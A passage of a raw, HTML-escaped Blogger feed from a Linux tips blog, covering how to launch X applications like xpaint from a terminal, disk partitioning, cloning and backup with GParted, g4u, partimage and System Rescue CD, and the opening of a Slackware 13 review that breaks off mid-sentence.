Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;b&gt;echo $DISPLAY&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;The result should be like this :0. This indicates that the terminal window will, by default, direct any X application you run from this window to display 0 on your system.(If you don't see a value when you type that command, type export Display=:0 to set the display value)&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;3. Type the following command:&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;b&gt;xpaint&amp;amp;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;The xpaint command should appear on your desktop, ready for you to work with.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;4. If you want to know what options are available, type:&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;b&gt;xpaint -?&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;5.Try with a few options . For example, if you want to begin b editing an image, you could type:&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; &lt;b&gt;xpaint /usr/share/icons/redhat.rpm &amp;amp;&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;6. When you are ready to close the window, you can either do so from xpaint window or you can kill the process in terminal window. Type jobs to see the job number of the pro&lt;/span&gt;cess.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-6126857082459393164?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/6126857082459393164/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/07/run-x-applications-from-terminal-window.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/6126857082459393164'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/6126857082459393164'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/07/run-x-applications-from-terminal-window.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-4764057632712468777</id><published>2010-06-01T01:42:00.000-07:00</published><updated>2010-06-01T01:42:56.045-07:00</updated><title type='text'></title><content type='html'>&lt;div class="entry-top"&gt;       &lt;h2 class="entry-title"&gt;&lt;span style="color: red; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; font-size: x-large;"&gt;Play With Your Hard Disk Partitions&lt;/span&gt;&lt;span class="entry-author"&gt;&lt;/span&gt;&lt;/h2&gt;&lt;div class="entry-meta"&gt;&lt;div class="entry-rating"&gt; &lt;div class="tweetmeme_button" style="float: left; margin-right: 10px;"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;strong&gt;&lt;/strong&gt;Let’s face it—hard disk-related activities can never be simple, especially when that disk has data on it. In this article, we’ll take a look at some of the tools that can make these activities easier. &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div id="greet_block"&gt;&lt;noscript&gt;&amp;lt;div class="greet_block"&amp;gt;&amp;lt;div class="greet_text"&amp;gt;&amp;lt;div class="greet_image"&amp;gt;&amp;lt;a href="http://www.linuxforu.com/feed/rss/" rel="nofollow"&amp;gt;&amp;lt;img src="http://www.linuxforu.com/wp-content/plugins/wp-greet-box/images/rss_icon.png" alt="WP Greet Box icon"/&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;Hello there! If you are new here, you might want to &amp;lt;a href="http://www.linuxforu.com/feed/rss/" rel="nofollow"&amp;gt;&amp;lt;strong&amp;gt;subscribe to the RSS feed&amp;lt;/strong&amp;gt;&amp;lt;/a&amp;gt; for updates on this topic.&amp;lt;div style="clear:both"&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class="greet_block_powered_by"&amp;gt;&amp;lt;a href="http://omninoggin.com/projects/wordpress-plugins/wp-greet-box-wordpress-plugin/" title="WP Greet Box WordPress Plugin"&amp;gt;Powered by WP Greet Box&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div style="clear:both"&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;/noscript&gt;&lt;/div&gt;&lt;h2&gt;A partitioning tool&lt;/h2&gt;There have been many operating systems and live CDs that provide partitioning utilities. Often, they turn out to be either proprietary or not able to support all filesystems used for Linux, Solaris, etc. But GParted is one such important partitioning utility that supports many filesystems and comes with a friendly user interface.&lt;br /&gt;GParted (Figure 1) stands for ‘GNOME partition editor’. With it, you can create, modify and delete partitions. Although you can definitely install it on any distribution and run it, I wouldn’t recommend running it on a booted OS as problems might occur with certain mounted partitions. A better solution is to run GParted from a live CD.&lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2367" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/fig-1.jpg"&gt;&lt;img alt="Figure 1: The GParted application" class="size-large wp-image-2367" height="408" src="http://www.linuxforu.com/wp-content/uploads/2009/10/fig-1-550x408.jpg" title="Figure 1: The GParted application" width="550" /&gt;&lt;/a&gt;&lt;div class="wp-caption-text"&gt;Figure 1: The GParted application&lt;/div&gt;&lt;/div&gt;GParted itself comes on a separate live CD; boot it and double click on the GParted icon from the UI presented. It is also a part of a live CD called System Rescue CD. To run GParted from here, first start X by issuing the startx command, and then open the GParted application from the X terminal. It can also be run from a bootable USB drive or via a PXE boot.&lt;br /&gt;Once GParted is run, you can use it for the following operations:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;To create a new partition table (by erasing the old one, if one exists). Use this option very carefully. Unlike other operations, Undo is not supported for this.&lt;/li&gt;&lt;li&gt;A new partition can be created from unallocated/free space. Decide on new partitions as primary, extended or logical, as required.&lt;/li&gt;&lt;li&gt;To delete an existing partition.&lt;/li&gt;&lt;li&gt;To resize/move existing partitions (Figure 2). Sizes can be increased only when free space is available on any adjacent side.&lt;/li&gt;&lt;li&gt;To change flags/labels of a partition.&lt;/li&gt;&lt;li&gt;To format a partition to any supported filesystem—ext3, reiserfs, etc.&lt;/li&gt;&lt;li&gt;To check filesystems for errors.&lt;/li&gt;&lt;li&gt;To view partition information.&lt;a name='more'&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="wp-caption aligncenter" id="attachment_2368" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/fig-2.jpg"&gt;&lt;img alt="Figure 2: Resize and move a partition" class="size-large wp-image-2368" height="276" src="http://www.linuxforu.com/wp-content/uploads/2009/10/fig-2-550x276.jpg" title="Figure 2: Resize and move a partition" width="550" /&gt;&lt;/a&gt;&lt;div class="wp-caption-text"&gt;Figure 2: Resize and move a partition&lt;/div&gt;&lt;/div&gt;All requested operations are added to the pending queue, which is performed in sequence upon clicking the Apply option.&lt;br /&gt;The following filesystems are supported by GParted presently: btrfs, crypt-luks, ext2, ext3, ext4, fat16, fat32, hfs, hfs+,jfs, lvm2 pv, ntfs, reiser4, reiserfs, swap, ufs and xfs. &lt;br /&gt;&lt;h2&gt;Disk cloning&lt;/h2&gt;g4u is a disk cloning software. It is helpful in larger organisations like educational institutes where there are several machines of identical configuration. Every system may need multiple operating systems along with some updates and customisation. Repeating these for every system is a tedious task. So cloning is a good technique to avoid such problems by copying many disks from one fully prepared one. Also, when one or more operating systems crash on one system, it can be recovered quickly by copying the OS from an identical system.&lt;br /&gt;This software has a few advantages over other cloning utilities. One is that it’s free. Second, it is independent of partitions, filesystems and operating systems that exist on a disk, as cloning is performed block by block. The only requirement is that the target disk should be larger than the original disk.&lt;br /&gt;g4u comes as live media, in the form of two bootable floppies or a bootable CD.&amp;nbsp; As of today, the latest stable version of g4u is 2.3.&lt;br /&gt;Disk cloning can be done in two ways — locally, by connecting two or more disks to a system at a time, and remotely, where the image of the original disk is stored on an FTP server, which is used for other disks to be copied using FTP.&lt;br /&gt;So, to perform disk cloning, connect two or more disks for the local copy, or one disk and the network set up if you plan to use FTP, and run g4u from a live CD or bootable floppies. A terminal will be presented to use the following commands:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;code&gt;disks&lt;/code&gt; lists all connected disks, and specifies identifiers for each. IDE hard disks are identified by wd0, wd1, etc, whereas SATA disks are identified by sd0, sd1, etc. Here, wd0/sd0 represents the first/primary hard disk.&lt;/li&gt;&lt;li&gt;&lt;code&gt;parts &lt;disk-name&gt;&lt;/disk-name&gt;&lt;/code&gt; lists the available partitions in a specified disk. For example, &lt;code&gt;parts wd0&lt;/code&gt; lists partitions of disks identified by wd0. See Figure 3.&lt;/li&gt;&lt;li&gt;&lt;code&gt;copydisk &lt;disk1&gt; &lt;disk2&gt;&lt;/disk2&gt;&lt;/disk1&gt;&lt;/code&gt; copies all data from disk1 to disk2, block wise (Figure 4). For example, &lt;code&gt;copydisk wd0 wd1&lt;/code&gt;.&lt;/li&gt;&lt;li&gt;&lt;code&gt;copypart &lt;d1p1&gt; &lt;d2p2&gt;&lt;/d2p2&gt;&lt;/d1p1&gt;&lt;/code&gt; copies a partition from one disk to a partition on another disk. For example, &lt;code&gt;copypart wd0e wd1f&lt;/code&gt;, copies the second partition of disk1 to the third partition of disk2. (Here the letters d, e, f, etc, in no way concern the drive letters of any OS. g4u assigns a character for each partition, starting from d for the first partition.)&lt;/li&gt;&lt;li&gt;&lt;code&gt;uploaddisk&lt;/code&gt; stores the image of the whole disk on an FTP server: &lt;pre&gt;uploaddisk ftp-address imagename disk-id&lt;/pre&gt;…where &lt;code&gt;ftp-address&lt;/code&gt; is the IP address of the FTP server. By default, the FTP account named ‘install’ is used. Use account@ftp-address for any other account. &lt;code&gt;disk-id&lt;/code&gt; is the identifier of the hard disk (for example, wd0, wd1, sd0, sd1, etc) whose image needs to be uploaded. It is optional. The absence of &lt;code&gt;disk-id&lt;/code&gt; implies taking the image of the first hard disk, which is identified by rwd0d. Also, by default, gzip-9 compression is used while saving images with a typical extension like .gz. To use lower levels of gzip compressions (higher levels of compression take a longer time to back up/restore) use the following:&lt;br /&gt;&lt;pre&gt;GZIP=1 uploaddisk ftp-address imagename disk-id&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;uploadpart&lt;/code&gt; stores the image of a particular partition on the FTP server: &lt;pre&gt;uploadpart ftp-address imagename disk+part&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;slurpdisk&lt;/code&gt; restores a disk from the FTP image: &lt;pre&gt;slurpdisk ftp-address imagename&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;slurppart&lt;/code&gt; restores a partition from the FTP image: &lt;pre&gt;slurppart ftp-address imagename disk+part&lt;/pre&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class="wp-caption aligncenter" id="attachment_2369" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/fig-3.jpg"&gt;&lt;img alt="Figure 3: Output of the parts command" class="size-large wp-image-2369" height="243" src="http://www.linuxforu.com/wp-content/uploads/2009/10/fig-3-550x243.jpg" title="Figure 3: Output of the parts command" width="550" /&gt;&lt;/a&gt;&lt;div class="wp-caption-text"&gt;Figure 3: Output of the parts command&lt;/div&gt;&lt;/div&gt;&lt;div class="wp-caption aligncenter" id="attachment_2370" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/fig-4.jpg"&gt;&lt;img alt="Figure 4: Disk cloning in progress" class="size-large wp-image-2370" height="309" src="http://www.linuxforu.com/wp-content/uploads/2009/10/fig-4-550x309.jpg" title="Figure 4: Disk cloning in progress" width="550" /&gt;&lt;/a&gt;&lt;div class="wp-caption-text"&gt;Figure 4: Disk cloning in progress&lt;/div&gt;&lt;/div&gt;It is preferable to run g4u in a DHCP-enabled network if FTP transactions are planned. If DHCP is not available, the network needs to be set up manually.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;partimage for back up/restore&lt;/h2&gt;Consider the following scenario. You have installed a Linux distribution that comes with minimal packages. Additional packages have been installed from the Internet using a package manager. So, patiently, you’ve updated and customised the OS according to your needs. Now your friend does not have an Internet connection and needs all these additional packages on his system. Or, all of a sudden, the OS has crashed, and you don’t have enough time or resources to repeat all the steps. Under the circumstances, back up your partitions every time you update your system—this back-up can be shared with any other system or used to restore the OS when it crashes.&lt;br /&gt;partimage helps you with these kinds of back-ups. It can be installed on many distros via package managers or, preferably, you can run it off a live CD. It is a part of the System Rescue CD.&lt;br /&gt;Here’s how you back up a partition:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Run the partimage command from a terminal.&lt;/li&gt;&lt;li&gt; Select partitions for which a back-up needs to be taken.&lt;/li&gt;&lt;li&gt; Specify the image name along with a suitable path. Another partition/removable disk has to be mounted in order to store the image in it. (In case of single partitions, or if none of the additional partitions have enough free space, you can use NFS- and Samba-shared mounts to save images on a remote computer.)&lt;/li&gt;&lt;li&gt; Opt for ‘Save partition…’ and go to the next screen (short cut: F5).&lt;/li&gt;&lt;li&gt; In the next screen, select the compression level, split mode and finish with other default options (Figure 5). Split mode (auto) means that when a volume in which the image is being stored is full, the image is split into multiple parts. Otherwise, fixed size parts can also be created for the convenience of storing on CDs/DVDs.&lt;/li&gt;&lt;li&gt; You’ll be prompted to give a description of the image for later use, and one more confirmation screen before copying starts.&lt;/li&gt;&lt;li&gt; The copying process will start now. Options are available to cancel, pause and resume the operation.&lt;/li&gt;&lt;li&gt; A confirmation screen appears after the completion of the process.&lt;/li&gt;&lt;/ol&gt;&lt;div class="wp-caption aligncenter" id="attachment_2372" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/fig-6.jpg"&gt;&lt;img alt="Figure 6: Options to save the partion" class="size-large wp-image-2372" height="307" src="http://www.linuxforu.com/wp-content/uploads/2009/10/fig-6-550x307.jpg" title="Figure 6: Options to save the partion" width="550" /&gt;&lt;/a&gt;&lt;div class="wp-caption-text"&gt;Figure 5: Options to save the partion&lt;/div&gt;&lt;/div&gt;The following are the steps for restoring a partition:&lt;br /&gt;&lt;ol&gt;&lt;li&gt; Run partimage and choose the partition that needs to be restored.&lt;/li&gt;&lt;li&gt; Give a path to the image (from a mounted partition/removable disk).&lt;/li&gt;&lt;li&gt; Opt for ‘Restore Partition…’ and go to the next screen (shortcut: F5).&lt;/li&gt;&lt;li&gt; Opt for defaults and hit ‘Continue’ (F5).&lt;/li&gt;&lt;li&gt; Now, the image description should appear, which is given at the time of backup, and one more confirmation screen before restore starts. Figure 6 shows a typical restoration in progress.&lt;/li&gt;&lt;li&gt;A confirmation screen appears after completion of the process.&lt;/li&gt;&lt;/ol&gt;&lt;div class="wp-caption aligncenter" id="attachment_2373" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/fig-7.jpg"&gt;&lt;img alt="Figure 7: Restore in progress" class="size-large wp-image-2373" height="271" src="http://www.linuxforu.com/wp-content/uploads/2009/10/fig-7-550x271.jpg" title="Figure 7: Restore in progress" width="550" /&gt;&lt;/a&gt;&lt;div class="wp-caption-text"&gt;Figure 6: Restore in progress&lt;/div&gt;&lt;/div&gt;&lt;em&gt;&lt;span style="text-decoration: underline;"&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;/span&gt;&lt;/em&gt; When restoring an image, the size of the partition that’s being restored should be greater or equal to the size of the original partition on which the backup is taken. However, the target partition is accessible up to the size of the original partition only, in case it is larger. Even though the image size is smaller with only used blocks, the target partition can’t be smaller than the original one.&lt;br /&gt;&lt;em&gt;&lt;span style="text-decoration: underline;"&gt;&lt;strong&gt; Tip:&lt;/strong&gt;&lt;/span&gt;&lt;/em&gt; When an image is created for a partition holding the MBR, only MBR can be restored to the system from that image at a later time, by choosing the option “Restore an MBR…” from the initial screen (refer to Figure 7).&lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_2371" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/fig-5.jpg"&gt;&lt;img alt="Figure 5: Initial screen of partimage" class="size-large wp-image-2371" height="306" src="http://www.linuxforu.com/wp-content/uploads/2009/10/fig-5-550x306.jpg" title="Figure 5: Initial screen of partimage" width="550" /&gt;&lt;/a&gt;&lt;div class="wp-caption-text"&gt;Figure 7: Initial screen of partimage&lt;/div&gt;&lt;/div&gt;Some machines may come with a single partition or not enough space on any of the existing partitions. One solution that was mentioned earlier is to use NFS/Samba to store images on a remote machine. Another simple solution is to use the partimage-server. A remote machine running partimage-server can be used to store images whose IP address and port can be specified during backup/restore of a partition.&lt;br /&gt;Install &lt;code&gt;partimage-server&lt;/code&gt; on any distribution and run it using the command &lt;code&gt;partimaged&lt;/code&gt;. By default, images are stored in &lt;code&gt;/var/lib/partimaged/&lt;/code&gt;. You can use the &lt;code&gt;-d&lt;/code&gt; or &lt;code&gt;--dest&lt;/code&gt; options to specify any other directory to store images on the server. Similarly, you can change the default port number 4025 with the &lt;code&gt;-p&lt;/code&gt; or &lt;code&gt;--port&lt;/code&gt; option.&lt;br /&gt;In order to connect to partimage-server during back-up/restore operations, simply opt for ‘Connect to Server’ in the initial screen (refer to Figure 5) and enter the IP address of the server and the encryption mode. Also change the port number to connect to if the server is using a port other than the default one.&lt;br /&gt;&lt;h2&gt;System Rescue CD&lt;/h2&gt;A good utility that combines many of the tools discussed here in one CD is the System Rescue CD distro. It comes with many additional utilities like:&lt;br /&gt;&lt;ul&gt;&lt;li&gt; An SSH server to allow other systems to log in remotely and copy files&lt;/li&gt;&lt;li&gt; Filesystem checkers, scanners, mount and view contents of other partitions&lt;/li&gt;&lt;li&gt; mkfs to create a new filesystem and sfdisk to set up partitions&lt;/li&gt;&lt;li&gt; parted and GParted for partition manipulation&lt;/li&gt;&lt;li&gt; Firefox/Dillo for instant browsing&lt;/li&gt;&lt;li&gt; PXE server capability&lt;/li&gt;&lt;/ul&gt;&lt;div class="wp-caption aligncenter" id="attachment_2374" style="width: 560px;"&gt;&lt;a href="http://www.linuxforu.com/wp-content/uploads/2009/10/fig-8.jpg"&gt;&lt;img alt="Figure 8: System Rescue CD" class="size-large wp-image-2374" height="308" src="http://www.linuxforu.com/wp-content/uploads/2009/10/fig-8-550x308.jpg" title="Figure 8: System Rescue CD" width="550" /&gt;&lt;/a&gt;&lt;div class="wp-caption-text"&gt;Figure 8: System Rescue CD&lt;/div&gt;&lt;/div&gt;&lt;h2&gt;Tips and tricks&lt;/h2&gt;&lt;ol&gt;&lt;li&gt;To set up a network manually on any live CD, use the following code: &lt;pre&gt;ifconfig eth0 192.168.1.1&lt;br /&gt;ifconfig eth0 up&lt;/pre&gt;Use a different device number other than eth0, if required. On the System Rescue CD you can use the &lt;code&gt;net-setup eth0&lt;/code&gt; command instead. &lt;/li&gt;&lt;li&gt;While running g4u, make sure of your disk IDs by running the &lt;code&gt;parts&lt;/code&gt; command first. For example, if the original disk is detected as wd1, and the second one as wd0, running &lt;code&gt;copydisk wd0 wd1&lt;/code&gt; will mean losing all your data in the original disk. Or a safer method is erasing all partitions in the target disk before cloning, by using GParted or any similar utility. Now parts on the target disk will not show any partitions, whereas on the original disk, partitions will be listed.&lt;/li&gt;&lt;li&gt;In the System Rescue CD, if your partimage is already running, go to another virtual console (using Ctrl+Alt+F2, Ctrl+Alt+F3, etc) for mounting, checking image paths, etc. Use Ctrl+Alt+F1 to come back to the first console.&lt;/li&gt;&lt;li&gt;Don’t try to save an image in the same partition you’re backing up.&lt;/li&gt;&lt;li&gt;As Linux distros are compatible with many configurations, cloned disks or partitions work fine in systems with different configurations also— with the exception of one or two features. For example, an image taken for a Linux distro on a Core 2 Duo system works well with PIII or AMD machines also, only requiring you to tweak &lt;code&gt;/etc/X11/xorg.conf&lt;/code&gt; according to new display settings, if you have a problem with starting the GUI.&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;References&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://gparted.sourceforge.net/"&gt;GParted&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.feyrer.de/g4u"&gt;g4u&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://partimage.org/"&gt;Partimage&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.sysresccd.org/"&gt;System Rescue CD&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6631355475399605399-4764057632712468777?l=akki4tips.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://akki4tips.blogspot.com/feeds/4764057632712468777/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://akki4tips.blogspot.com/2010/06/play-with-your-hard-disk-partitions.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/4764057632712468777'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6631355475399605399/posts/default/4764057632712468777'/><link rel='alternate' type='text/html' href='http://akki4tips.blogspot.com/2010/06/play-with-your-hard-disk-partitions.html' title=''/><author><name>ExploringLinuxWithMe</name><uri>http://www.blogger.com/profile/14209377822820692943</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_lIWj8wefYIs/S5Ei4sJkVaI/AAAAAAAAACs/K5MyG1sSTYQ/S220/J0338.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6631355475399605399.post-2108575940055555395</id><published>2010-06-01T01:31:00.000-07:00</published><updated>2010-06-01T01:31:35.790-07:00</updated><title type='text'></title><content type='html'>&lt;div class="entry-top"&gt;       &lt;h2 class="entry-title" style="color: red; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: x-large;"&gt;Slackware 13: Is it Really Worthy of the 21st Century?&lt;/span&gt;&lt;/h2&gt;&lt;div class="entry-meta"&gt;       &lt;span class="entry-author"&gt; &lt;/span&gt;       &lt;div class="entry-rating"&gt; &lt;div class="tweetmeme_button" style="float: left; margin-right: 10px;"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;strong&gt;&lt;/strong&gt;Slackware is old. No really, it’s OLD! If you’re used to the likes of Ubuntu or any of the other modern GNU/Linux systems, setting up Slackware would seem like you’re back in the early 90s.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="entry-content clearfix"&gt;      &lt;div id="greet_block"&gt;&lt;noscript&gt;&amp;lt;div class="greet_block"&amp;gt;&amp;lt;div class="greet_text"&amp;gt;&amp;lt;div class="greet_image"&amp;gt;&amp;lt;a href="http://www.linuxforu.com/feed/rss/" rel="nofollow"&amp;gt;&amp;lt;img src="http://www.linuxforu.com/wp-content/plugins/wp-greet-box/images/rss_icon.png" alt="WP Greet Box icon"/&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;Hello there! If you are new here, you might want to &amp;lt;a href="http://www.linuxforu.com/feed/rss/" rel="nofollow"&amp;gt;&amp;lt;strong&amp;gt;subscribe to the RSS feed&amp;lt;/strong&amp;gt;&amp;lt;/a&amp;gt; for updates on this topic.&amp;lt;div style="clear:both"&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class="greet_block_powered_by"&amp;gt;&amp;lt;a href="http://omninoggin.com/projects/wordpress-plugins/wp-greet-box-wordpress-plugin/" title="WP Greet Box WordPress Plugin"&amp;gt;Powered by WP Greet Box&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div style="clear:both"&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&lt;/noscript&gt;&lt;/div&gt;Some will argue that Ubuntu and the rest that try to make life easier for desktop users don’t give &lt;em&gt;that&lt;/em&gt; fine-grained control over the way you set up your system. Why should a distro try to make choices on your behalf? By configuring your system from the bottom up, you’d ultimately learn the internals.&lt;br /&gt;Does it help? Yes, it does. Immensely! Does everyone have the time and inclination? NO!&lt;br /&gt;Whatever said and done, the majority of those who use computers want to get on with their work—most don’t have the time to peek into the innards of an OS. So, if you belong to this category, you’re probably better off without Slackware.&lt;br /&gt;However, Slackware 13 has one surprise in its bag—the desktop somehow looks pretty modern, and works out-of-the-box. Yes, KDE4 has finally infected the conservative Slackware developer(s). Pat Volkerding writes in the release notes, “I’m using it on all my own machines (including an Intel Atom with compositing enabled), and I’ve really fallen in love with it once I got used to it. The tools are integrated better with the desktop, Qt4 seems to be a faster and more stable platform, and nearly everything that was available for KDE3 has been ported to KDE4 and works great.”&lt;br /&gt;Now, Pat doesn’t put anything inside Slackware unless and until he’s completely satisfied with the piece of code. He’ll still make you use LiLo instead of Grub, by default! So, all this praise coming from him could only mean how impressive KDE4 is and what lies ahead in the coming years.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;h2&gt;Installation and configuration&lt;/h2&gt;I think the first Slackware version I had tried was 9.1—that was in 2003. As far as I can remember, things pretty much look the same, even today. It’s the same old ncurses-based wizard that’s fool-proof and stable.&lt;br /&gt;Anyway, for the uninitiated, I’ll try to walk you through the Slackware path. After booting the CD, you’re prompted on whether you wish to use a US English keymap (for your keyboard) or not. We Indians do, so simply hit Enter. This brings you to the login screen.&lt;br /&gt;Log in as the root, and type &lt;code&gt;setup&lt;/code&gt; to start the installation. Note that if you need to configure your partitions, the installer won’t offer you anything. So, do your partitioning tid-bits using the &lt;code&gt;cfdisk&lt;/code&gt; utility and then proceed with &lt;code&gt;setup&lt;/code&gt;.&lt;br /&gt;This will bring you to an ncurses-based menu. Read what the Help option offers if you like, or jump straight to the &lt;em&gt;addswap&lt;/em&gt; option. Follow the instructions from there on, and you should be up and running.&lt;br /&gt;A few things I noticed:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Now that the kernel version is upped to 2.6.29, Slackware offers ext4 as the default filesystem. Of course, other choices like ext3, XFS, JFS, etc, are still available.&lt;/li&gt;&lt;li&gt;It’s better if you choose the recommended package installation sections. Although this will install everything available in the DVD, it won’t bug you with all those prompts.&lt;/li&gt;&lt;li&gt;The package installation on my C2D 1.6GHz HP 550 laptop with 1GB of RAM took only 15 minutes. Considering that the total install size is more than 4 GB, that’s pretty fast.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;General configuration and desktop&lt;/h2&gt;Slackware still boots 